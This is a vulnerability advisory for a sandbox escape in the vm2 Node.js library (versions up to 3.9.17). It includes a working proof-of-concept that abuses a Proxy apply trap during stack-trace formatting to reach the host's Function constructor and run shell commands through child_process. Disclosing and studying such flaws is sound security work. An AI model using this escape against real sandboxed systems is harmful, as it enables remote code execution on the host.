Sandbox Escape in [email protected]
A sandbox escape vulnerability exists in vm2 for versions up to 3.9.17. It abuses an unexpected creation of a host object based on the specification of Proxy, and allows RCE via Function in the host context.
A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code)); // -> hackederr.name.toString is called at ErrorPrototypeToString in prepareStackTrace from the host context.
errorargument ofprepareStackTraceis not proxied by handlers defined invm2/lib/bridge.jsbecause the function is called directly by V8.- ref. https://v8.dev/docs/stack-trace-api
Also, the definition of [[Call]] internal method of a Proxy object is as follows:
- Let argArray be CreateArrayFromList(argumentsList).
- Return ? Call(trap, handler, « target, thisArgument, argArray »).
When err.name.toString is called, the step 7 creates argArray in the host context and the host object is passed to args of apply(target, thiz, args). So, you can access Function constructor of the host context.
Takeshi Kaneko (GMO Cybersecurity by Ierae, Inc.)